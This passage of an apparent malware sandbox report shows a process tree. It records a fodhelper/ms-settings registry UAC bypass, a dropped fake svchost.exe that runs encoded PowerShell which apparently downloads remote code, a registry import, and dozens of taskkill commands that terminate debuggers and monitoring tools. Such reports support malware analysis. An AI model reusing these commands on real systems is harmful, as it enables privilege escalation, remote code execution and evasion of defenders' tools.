    "C:\Windows\system32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .alecar /f
    3⤵
    - Modifies registry key
    PID:412
- - C:\Windows\system32\fodhelper.exe
    "C:\Windows\system32\fodhelper.exe"
    3⤵
    PID:3240
  - - C:\Users\Public\Music\svchost.exe
      "C:\Users\Public\Music\svchost.exe" powershell -exEC byPASs -enc JAB0AHMAawBsAHIAZQB4AD0AJwBpACcAKwAnACcAKwAnAEUAJwArACcAeAAnADsAcwBhAGwAIAB1AGIAaQBqAHQAYQBzAGsAbwB2AGUAaQBkAG8AZABhAGoAZQBrAHMAbAB1AHoAbgBlACAAJAB0AHMAawBsAHIAZQB4ADsAJABwAHoAaABoAHEAZAB3AGwAPQB1AGIAaQBqAHQAYQBzAGsAbwB2AGUAaQBkAG8AZABhAGoAZQBrAHMAbAB1AHoAbgBlACgAdQBiAGkAagB0AGEAcwBrAG8AdgBlAGkAZABvAGQAYQBqAGUAawBzAGwAdQB6AG4AZQAoACQAKAAkACgAJwAoAG4AdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AHcALQBvAGIAagB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAYwB0ACAAUwB5AHMAdAB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAbQAuAE4AdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AHQALgBXAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwBiAEMAbABpAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwBuAHQAKQAuAEQAbwBwAHAAOAAzADgAMwBqAG4ARAB0AHIAaQBuAGcAKAAnACcAaABKAHUAZAAyAE4AQgBJAGQAcgBpAHYAUABQAHMAOAAyADgARABGAFMALgBnAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAGcAbABQAFAAcwA4ADIAOABEAEYAUwAuAGMAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAbQAvAHUAYwA/AFAAUABzADgAMgA4AEQARgBTAHgAcABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQByAHQAPQBkAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAHcAbgBsAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAGEAZAAmAGkAZAA9ADEAeQB6AEkAUABQAHMAOAAyADgARABGAFMAZABnAE8AbABiAFAAagBVAGMAMAAwADYAegBGAGoAcgBrAFIAawBKAFcARABiAGMAaABGADAAdQAnACcALgBSAGUAcABsAGEAYwBlACgAJwAnAEoAdQBkADIATgBCAEkAJwAnACwAJwAnAHQAdABwAHMAOgAvAC8AJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwAnAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpACcAJwAsACcAJwBvACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAJwBQAFAAcwA4ADIAOABEAEYAUwAnACcALAAgACcAJwBlACcAJwApACkAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3ACcALAAgACcAZQAnACkALgBSAGUAcABsAGEAYwBlACgAJwBwAHAAOAAzADgAMwBqAG4ARAAnACwAIAAnAHcAbgBsAG8AYQBkAFMAJwApACkAKQApAA==
      4⤵
      Executes dropped EXE
      PID:3356
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -exEC byPASs -enc JAB0AHMAawBsAHIAZQB4AD0AJwBpACcAKwAnACcAKwAnAEUAJwArACcAeAAnADsAcwBhAGwAIAB1AGIAaQBqAHQAYQBzAGsAbwB2AGUAaQBkAG8AZABhAGoAZQBrAHMAbAB1AHoAbgBlACAAJAB0AHMAawBsAHIAZQB4ADsAJABwAHoAaABoAHEAZAB3AGwAPQB1AGIAaQBqAHQAYQBzAGsAbwB2AGUAaQBkAG8AZABhAGoAZQBrAHMAbAB1AHoAbgBlACgAdQBiAGkAagB0AGEAcwBrAG8AdgBlAGkAZABvAGQAYQBqAGUAawBzAGwAdQB6AG4AZQAoACQAKAAkACgAJwAoAG4AdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AHcALQBvAGIAagB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAYwB0ACAAUwB5AHMAdAB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAbQAuAE4AdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AHQALgBXAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwBiAEMAbABpAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwBuAHQAKQAuAEQAbwBwAHAAOAAzADgAMwBqAG4ARAB0AHIAaQBuAGcAKAAnACcAaABKAHUAZAAyAE4AQgBJAGQAcgBpAHYAUABQAHMAOAAyADgARABGAFMALgBnAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAGcAbABQAFAAcwA4ADIAOABEAEYAUwAuAGMAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAbQAvAHUAYwA/AFAAUABzADgAMgA4AEQARgBTAHgAcABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQByAHQAPQBkAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAHcAbgBsAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAGEAZAAmAGkAZAA9ADEAeQB6AEkAUABQAHMAOAAyADgARABGAFMAZABnAE8AbABiAFAAagBVAGMAMAAwADYAegBGAGoAcgBrAFIAawBKAFcARABiAGMAaABGADAAdQAnACcALgBSAGUAcABsAGEAYwBlACgAJwAnAEoAdQBkADIATgBCAEkAJwAnACwAJwAnAHQAdABwAHMAOgAvAC8AJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwAnAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpACcAJwAsACcAJwBvACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAJwBQAFAAcwA4ADIAOABEAEYAUwAnACcALAAgACcAJwBlACcAJwApACkAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3ACcALAAgACcAZQAnACkALgBSAGUAcABsAGEAYwBlACgAJwBwAHAAOAAzADgAMwBqAG4ARAAnACwAIAAnAHcAbgBsAG8AYQBkAFMAJwApACkAKQApAA==
        5⤵
        Blocklisted process makes network request
        Drops file in Drivers directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:1256
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" import C:\Users\Public\Music\ass
        6⤵
        
        PID:5028
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4832
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4916
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4328
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4336
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4160
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3536
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4352
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4476
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:3544
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:1952
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3772
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3264
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:5104
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:3096
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4964
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3152
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:3532
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:1956
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4448
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:2572
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:1080
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:1368
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:3768
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:1676
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4244
      - C:\Windows\system32\taskkill.exe
        
